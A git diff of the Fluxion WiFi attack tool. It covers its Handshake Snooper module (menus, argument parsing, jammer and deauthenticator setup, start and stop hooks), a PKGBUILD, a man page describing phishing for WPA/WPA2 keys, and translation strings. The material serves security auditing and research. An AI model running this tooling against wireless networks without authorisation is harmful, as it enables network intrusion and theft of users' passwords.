"$FLUXIONHashVerificationMethodPyritOption"
|
||||||
|
"$FLUXIONHashVerificationMethodAircrackOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
|
||||||
|
|
||||||
echo
|
echo
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
|
"$FLUXIONHashVerificationMethodPyritOption")
|
||||||
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
HANDSHAKEVerifierIdentifier="pyrit" ;;
|
||||||
|
"$FLUXIONHashVerificationMethodAircrackOption")
|
||||||
|
HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
|
||||||
"$FLUXIONGeneralBackOption")
|
"$FLUXIONGeneralBackOption")
|
||||||
handshake_snooper_unset_verifier_identifier
|
handshake_snooper_unset_verifier_identifier
|
||||||
return 1
|
return 1
|
||||||
|
@ -194,11 +290,12 @@ function handshake_snooper_set_verifier_identifier() {
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_interval() {
|
handshake_snooper_unset_verifier_interval() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierInterval" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierInterval=""
|
HANDSHAKEVerifierInterval=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_interval() {
|
handshake_snooper_set_verifier_interval() {
|
||||||
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_interval
|
handshake_snooper_unset_verifier_interval
|
||||||
|
@ -207,9 +304,12 @@ function handshake_snooper_set_verifier_interval() {
|
||||||
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
|
"$HandshakeSnooperVerifierInterval30SOption")
|
||||||
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
|
HANDSHAKEVerifierInterval=30 ;;
|
||||||
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
|
"$HandshakeSnooperVerifierInterval60SOption")
|
||||||
|
HANDSHAKEVerifierInterval=60 ;;
|
||||||
|
"$HandshakeSnooperVerifierInterval90SOption")
|
||||||
|
HANDSHAKEVerifierInterval=90 ;;
|
||||||
"$FLUXIONGeneralBackOption")
|
"$FLUXIONGeneralBackOption")
|
||||||
handshake_snooper_unset_verifier_interval
|
handshake_snooper_unset_verifier_interval
|
||||||
return 1
|
return 1
|
||||||
|
@ -217,21 +317,29 @@ function handshake_snooper_set_verifier_interval() {
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_unset_verifier_synchronicity() {
|
handshake_snooper_unset_verifier_synchronicity() {
|
||||||
|
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi
|
||||||
HANDSHAKEVerifierSynchronicity=""
|
HANDSHAKEVerifierSynchronicity=""
|
||||||
}
|
}
|
||||||
|
|
||||||
function handshake_snooper_set_verifier_synchronicity() {
|
handshake_snooper_set_verifier_synchronicity() {
|
||||||
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
|
|
||||||
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
|
local choices=(
|
||||||
|
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
|
||||||
|
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
|
||||||
|
"$FLUXIONGeneralBackOption"
|
||||||
|
)
|
||||||
|
|
||||||
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
|
||||||
|
|
||||||
case "$IOQueryChoice" in
|
case "$IOQueryChoice" in
|
||||||
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
|
||||||
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
|
HANDSHAKEVerifierSynchronicity="non-blocking" ;;
|
||||||
|
"$HandshakeSnooperVerifierSynchronicitySynchronousOption")
|
||||||
|
HANDSHAKEVerifierSynchronicity="blocking" ;;
|
||||||
"$FLUXIONGeneralBackOption")
|
"$FLUXIONGeneralBackOption")
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
return 1
|
return 1
|
||||||
|
@ -239,52 +347,93 @@ function handshake_snooper_set_verifier_synchronicity() {
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
function unprep_attack() {
|
|
||||||
|
# ============================================================ #
|
||||||
|
# =================== < Parse Parameters > =================== #
|
||||||
|
# ============================================================ #
|
||||||
|
if [ ! "$HandshakeSnooperCLIArguments" ]; then
|
||||||
|
if ! HandshakeSnooperCLIArguments=$(
|
||||||
|
getopt --options="v:i:j:a" \
|
||||||
|
--longoptions="verifier:,interval:,jammer:,asynchronous" \
|
||||||
|
--name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
|
||||||
|
); then
|
||||||
|
echo -e "${CRed}Aborted$CClr, parameter error detected..."
|
||||||
|
sleep 5
|
||||||
|
fluxion_handle_exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
|
||||||
|
|
||||||
|
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ============= < Argument Loaded Configurables > ============ #
|
||||||
|
# ============================================================ #
|
||||||
|
while [ "$1" != "" -a "$1" != "--" ]; do
|
||||||
|
case "$1" in
|
||||||
|
-v|--verifier)
|
||||||
|
HandshakeSnooperVerifierIdentifier=$2; shift;;
|
||||||
|
-i|--interval)
|
||||||
|
HandshakeSnooperVerifierInterval=$2; shift;;
|
||||||
|
-j|--jammer)
|
||||||
|
HandshakeSnooperUninitializedJammerInterface=$2; shift;;
|
||||||
|
-a|--asynchronous)
|
||||||
|
HandshakeSnooperVerifierSynchronicity="non-blocking";;
|
||||||
|
esac
|
||||||
|
shift # Shift new parameters
|
||||||
|
done
|
||||||
|
|
||||||
|
|
||||||
|
# ============================================================ #
|
||||||
|
# ===================== < Fluxion Hooks > ==================== #
|
||||||
|
# ============================================================ #
|
||||||
|
attack_targetting_interfaces() {
|
||||||
|
interface_list_wireless
|
||||||
|
local interface
|
||||||
|
for interface in "${InterfaceListWireless[@]}"; do
|
||||||
|
echo "$interface"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
unprep_attack() {
|
||||||
HandshakeSnooperState="Not Ready"
|
HandshakeSnooperState="Not Ready"
|
||||||
|
|
||||||
handshake_snooper_unset_verifier_synchronicity
|
handshake_snooper_unset_verifier_synchronicity
|
||||||
handshake_snooper_unset_verifier_interval
|
handshake_snooper_unset_verifier_interval
|
||||||
handshake_snooper_unset_verifier_identifier
|
handshake_snooper_unset_verifier_identifier
|
||||||
|
handshake_snooper_unset_jammer_interface
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
handshake_snooper_unset_deauthenticator_identifier
|
||||||
|
|
||||||
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
|
||||||
}
|
}
|
||||||
|
|
||||||
function prep_attack() {
|
prep_attack() {
|
||||||
mkdir -p "$FLUXIONWorkspacePath/capture"
|
mkdir -p "$FLUXIONWorkspacePath/capture"
|
||||||
|
|
||||||
while true; do
|
IOUtilsHeader="handshake_snooper_header"
|
||||||
handshake_snooper_set_deauthenticator_identifier
|
|
||||||
if [ $? -ne 0 ]; then break; fi
|
|
||||||
handshake_snooper_set_verifier_identifier
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_deauthenticator_identifier
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
handshake_snooper_set_verifier_interval
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_verifier_identifier
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
handshake_snooper_set_verifier_synchronicity
|
|
||||||
if [ $? -ne 0 ]; then
|
|
||||||
handshake_snooper_unset_verifier_interval
|
|
||||||
continue
|
|
||||||
fi
|
|
||||||
HandshakeSnooperState="Ready"
|
|
||||||
break
|
|
||||||
done
|
|
||||||
|
|
||||||
# Check for handshake abortion.
|
# Removed read-only due to local constant shadowing bug.
|
||||||
if [ "$HandshakeSnooperState" != "Ready" ]; then
|
# I've reported the bug, we can add it when fixed.
|
||||||
unprep_attack
|
local sequence=(
|
||||||
|
"set_deauthenticator_identifier"
|
||||||
|
"set_jammer_interface"
|
||||||
|
"set_verifier_identifier"
|
||||||
|
"set_verifier_interval"
|
||||||
|
"set_verifier_synchronicity"
|
||||||
|
)
|
||||||
|
|
||||||
|
if ! fluxion_do_sequence handshake_snooper sequence[@]; then
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
HandshakeSnooperState="Ready"
|
||||||
}
|
}
|
||||||
|
|
||||||
function stop_attack() {
|
stop_attack() {
|
||||||
if [ "$HANDSHAKEArbiterPID" ]; then
|
if [ "$HANDSHAKEArbiterPID" ]; then
|
||||||
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
|
kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
|
||||||
fi
|
fi
|
||||||
|
|
||||||
HANDSHAKEArbiterPID=""
|
HANDSHAKEArbiterPID=""
|
||||||
|
@ -292,12 +441,12 @@ function stop_attack() {
|
||||||
HandshakeSnooperState="Stopped"
|
HandshakeSnooperState="Stopped"
|
||||||
}
|
}
|
||||||
|
|
||||||
function start_attack() {
|
start_attack() {
|
||||||
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
|
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
|
||||||
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
|
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
|
||||||
HandshakeSnooperState="Running"
|
HandshakeSnooperState="Running"
|
||||||
|
|
||||||
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
|
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
|
||||||
HANDSHAKEArbiterPID=$!
|
HANDSHAKEArbiterPID=$!
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -2,6 +2,8 @@
|
||||||
# identifier: Handshake Snopper
|
# identifier: Handshake Snopper
|
||||||
# description: Acquires WPA/WPA2 encryption hashes.
|
# description: Acquires WPA/WPA2 encryption hashes.
|
||||||
|
|
||||||
|
|
||||||
|
HandshakeSnooperJammerInterfaceQuery="Select an interface for jamming."
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
|
HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
|
||||||
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"
|
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"
|
||||||
|
|
|
@ -0,0 +1,66 @@
|
||||||
|
# Maintainer: Cyberfee <deltax.fluxion@gmail.com>
|
||||||
|
|
||||||
|
_pkgname=fluxion
|
||||||
|
pkgname=$_pkgname-git
|
||||||
|
pkgver=r1183.63b821f
|
||||||
|
pkgrel=1
|
||||||
|
pkgdesc='Fluxion is a security auditing and social-engineering research tool'
|
||||||
|
url='https://github.com/FluxionNetwork/fluxion'
|
||||||
|
license=('GPL3')
|
||||||
|
source=('git://github.com/FluxionNetwork/fluxion.git#branch=master')
|
||||||
|
|
||||||
|
depends=(
|
||||||
|
'aircrack-ng' 'bash>=4.2' 'coreutils'
|
||||||
|
'awk' 'iw' 'unzip'
|
||||||
|
'curl' 'bc' 'xterm'
|
||||||
|
)
|
||||||
|
|
||||||
|
makedepends=('binutils' 'coreutils' 'git')
|
||||||
|
conflicts=('fluxion-git')
|
||||||
|
provides=('fluxion-git')
|
||||||
|
sha256sums=('SKIP')
|
||||||
|
arch=('any')
|
||||||
|
|
||||||
|
prepare() {
|
||||||
|
if [ -d "$srcdir/$pkgname" ]; then
|
||||||
|
rm -rf "$srcdir/$pkgname"
|
||||||
|
fi
|
||||||
|
|
||||||
|
mkdir -p "$srcdir/$pkgname"
|
||||||
|
cd "$srcdir/$pkgname"
|
||||||
|
}
|
||||||
|
|
||||||
|
pkgver() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
|
||||||
|
( set -o pipefail
|
||||||
|
git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' ||
|
||||||
|
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
prepare() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
}
|
||||||
|
|
||||||
|
package() {
|
||||||
|
cd "$srcdir/$_pkgname"
|
||||||
|
|
||||||
|
mkdir -p "$pkgdir/usr/bin"
|
||||||
|
mkdir -p "$pkgdir/usr/share/fluxion"
|
||||||
|
|
||||||
|
install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md
|
||||||
|
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/airgeddon/LICENSE"
|
||||||
|
|
||||||
|
rm -rf *.md .git* *.yml .project .editorconfig
|
||||||
|
|
||||||
|
cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion"
|
||||||
|
|
||||||
|
cat > "$pkgdir/usr/bin/fluxion" << EOF
|
||||||
|
#!/bin/sh
|
||||||
|
cd /usr/share/fluxion
|
||||||
|
exec bash fluxion.sh "\${@}"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod a+x "$pkgdir/usr/bin/fluxion"
|
||||||
|
}
|
|
@ -0,0 +1,76 @@
|
||||||
|
.TH FLUXION 1 "MARCH 2018" Linux "User Manuals"
|
||||||
|
.SH NAME
|
||||||
|
fluxion \- Fluxion is a security auditing and social-engineering research tool
|
||||||
|
.SH SYNOPSIS
|
||||||
|
.B fluxion [-debug] [-l
|
||||||
|
.I language
|
||||||
|
.B ]
|
||||||
|
.I attack
|
||||||
|
.B ...
|
||||||
|
.SH DESCRIPTION
|
||||||
|
.B fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs
|
||||||
|
and more functionality. The script attempts to retrieve the WPA/WPA2
|
||||||
|
key from a target access point by means of a social engineering
|
||||||
|
(phising) attack. It's compatible with the latest release of Kali
|
||||||
|
(rolling). Fluxion's attacks' setup is mostly manual,
|
||||||
|
but experimental auto-mode handles some of the attacks'
|
||||||
|
setup parameters.
|
||||||
|
.SH OPTIONS
|
||||||
|
.IP "-v "
|
||||||
|
Print version number.
|
||||||
|
.IP "--help "
|
||||||
|
Print help page and exit with 0.
|
||||||
|
.IP "-m "
|
||||||
|
Run fluxion in manual mode instead of auto mode.
|
||||||
|
.IP "-k "
|
||||||
|
Kill wireless connection if it is connected.
|
||||||
|
.IP "-d "
|
||||||
|
Run fluxion in debug mode.
|
||||||
|
.IP "-x "
|
||||||
|
Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
.IP "-r "
|
||||||
|
Reload driver.
|
||||||
|
.IP "-l <language>"
|
||||||
|
Define a certain language.
|
||||||
|
.IP "-e <essid>"
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
.IP "-c <channel>"
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
.IP "-a <attack>"
|
||||||
|
Define a certain attack.
|
||||||
|
.IP "--ratio <ratio>"
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
.IP "-b <bssid>"
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
.IP "-j <jamming interface>"
|
||||||
|
Define a certain jamming interface.
|
||||||
|
.IP "-a <access point interface>"
|
||||||
|
Define a certain access point interface.
|
||||||
|
.SH FILES
|
||||||
|
.I /tmp/fluxspace/
|
||||||
|
.RS
|
||||||
|
The system wide tmp directory.
|
||||||
|
.RE
|
||||||
|
.I $FLUXION/attacks/
|
||||||
|
.RS
|
||||||
|
Folder where handshakes and passwords
|
||||||
|
are stored in.
|
||||||
|
.SH ENVIRONMENT
|
||||||
|
.IP FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
.IP FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
.IP FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
.SH DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use
|
||||||
|
the debug mode.
|
||||||
|
.SH BUGS
|
||||||
|
Please report any bugs at:
|
||||||
|
https://github.com/FluxionNetwork/fluxion/issues
|
||||||
|
.SH AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
.SH "SEE ALSO"
|
||||||
|
.BR aircrack-ng (8),
|
|
@ -0,0 +1,92 @@
|
||||||
|
FLUXION(1) User Manuals FLUXION(1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
NAME
|
||||||
|
fluxion - Fluxion is a security auditing and social-engineering
|
||||||
|
research tool
|
||||||
|
|
||||||
|
SYNOPSIS
|
||||||
|
fluxion [-debug] [-l language ] attack ...
|
||||||
|
|
||||||
|
DESCRIPTION
|
||||||
|
fluxion is a security auditing and social-engineering research tool.
|
||||||
|
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||||
|
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||||
|
target access point by means of a social engineering (phising) attack.
|
||||||
|
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||||
|
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||||
|
some of the attacks' setup parameters.
|
||||||
|
|
||||||
|
OPTIONS
|
||||||
|
-v Print version number.
|
||||||
|
|
||||||
|
--help Print help page and exit with 0.
|
||||||
|
|
||||||
|
-m Run fluxion in manual mode instead of auto mode.
|
||||||
|
|
||||||
|
-k Kill wireless connection if it is connected.
|
||||||
|
|
||||||
|
-d Run fluxion in debug mode.
|
||||||
|
|
||||||
|
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||||
|
|
||||||
|
-r Reload driver.
|
||||||
|
|
||||||
|
-l <language>
|
||||||
|
Define a certain language.
|
||||||
|
|
||||||
|
-e <essid>
|
||||||
|
Select the target network based on the ESSID.
|
||||||
|
|
||||||
|
-c <channel>
|
||||||
|
Indicate the channel(s) to listen to.
|
||||||
|
|
||||||
|
-a <attack>
|
||||||
|
Define a certain attack.
|
||||||
|
|
||||||
|
--ratio <ratio>
|
||||||
|
Define the windows size. Bigger ratio -> smaller window size.
|
||||||
|
Default is 4.
|
||||||
|
|
||||||
|
-b <bssid>
|
||||||
|
Select the target network based on the access point MAC address.
|
||||||
|
|
||||||
|
-j <jamming interface>
|
||||||
|
Define a certain jamming interface.
|
||||||
|
|
||||||
|
-a <access point interface>
|
||||||
|
Define a certain access point interface.
|
||||||
|
|
||||||
|
FILES
|
||||||
|
/tmp/fluxspace/
|
||||||
|
The system wide tmp directory.
|
||||||
|
$FLUXION/attacks/
|
||||||
|
Folder where handshakes and passwords are stored in.
|
||||||
|
|
||||||
|
ENVIRONMENT
|
||||||
|
FLUXIONAuto
|
||||||
|
Automatically run fluxion in auto mode if exported.
|
||||||
|
|
||||||
|
FLUXIONDebug
|
||||||
|
Automatically run fluxion in debug mode if exported.
|
||||||
|
|
||||||
|
FLUXIONWIKillProcesses
|
||||||
|
Automatically kill any interfering process(es).
|
||||||
|
|
||||||
|
DIAGNOSTICS
|
||||||
|
Please checkout the other log files or use the debug mode.
|
||||||
|
|
||||||
|
BUGS
|
||||||
|
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||||
|
ion/issues
|
||||||
|
|
||||||
|
AUTHOR
|
||||||
|
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||||
|
|
||||||
|
SEE ALSO
|
||||||
|
aircrack-ng(8),
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Linux MARCH 2018 FLUXION(1)
|
1025
fluxion.sh
1025
fluxion.sh
File diff suppressed because it is too large
Load Diff
|
@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Absolute path"
|
||||||
FLUXIONScannerChannelQuery="Vyberte kanál"
|
FLUXIONScannerChannelQuery="Vyberte kanál"
|
||||||
FLUXIONScannerChannelOptionAll="Všechny kanály"
|
FLUXIONScannerChannelOptionAll="Všechny kanály"
|
||||||
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
|
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Jeden kanál"
|
FLUXIONScannerChannelSingleTip="Jeden kanál"
|
||||||
FLUXIONScannerChannelMiltipleTip="Více kanálů"
|
FLUXIONScannerChannelMiltipleTip="Více kanálů"
|
||||||
|
|
|
@ -2,26 +2,26 @@
|
||||||
# German
|
# German
|
||||||
# native: Deutsch
|
# native: Deutsch
|
||||||
|
|
||||||
FLUXIONInterfaceQuery="Wähle deine Netzwerkkarte aus"
|
FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus"
|
||||||
FLUXIONUnblockingWINotice="Entferne den Softblock von allen Netzwerkkarten..."
|
FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..."
|
||||||
FLUXIONFindingExtraWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..."
|
||||||
FLUXIONRemovingExtraWINotice="Entferne freme drahtlose Netzwerkkarten..."
|
FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..."
|
||||||
FLUXIONFindingWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
|
FLUXIONFindingWINotice="Suche nach Netzwerkkarten..."
|
||||||
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in benutzung"
|
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung"
|
||||||
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor du FLUXION nutzt."
|
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor Sie FLUXION benutzen"
|
||||||
FLUXIONGatheringWIInfoNotice="Sammeln der Daten von allen Netzwerken..."
|
FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..."
|
||||||
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
|
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
|
||||||
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
||||||
FLUXIONLoadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
|
FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$wiSelected\"..."
|
||||||
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
|
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
|
||||||
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
|
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
|
||||||
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
|
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
|
||||||
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im Monitor Mode"
|
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode"
|
||||||
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
|
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
|
||||||
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
|
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
|
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
|
||||||
FLUXIONStartingScannerTip="Wenn nach etwa 5 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
|
||||||
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
|
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
|
||||||
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
|
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
|
||||||
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
|
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
|
||||||
|
@ -30,14 +30,15 @@ FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht"
|
||||||
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
|
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
|
||||||
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
|
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
|
||||||
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
|
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
|
||||||
FLUXIONAbsolutePathInfo="Geben sie den Absoluten Pfad ein"
|
FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkkanal aus"
|
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus"
|
||||||
FLUXIONScannerChannelOptionAll="Alle Netzwerkkanäle"
|
FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen"
|
||||||
FLUXIONScannerChannelOptionSpecific="Spezifische Kanal(e)"
|
FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)"
|
||||||
|
FluxionRestartOption="Restart"
|
||||||
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
|
||||||
FLUXIONScannerChannelSingleTip="Einzelner Kanal"
|
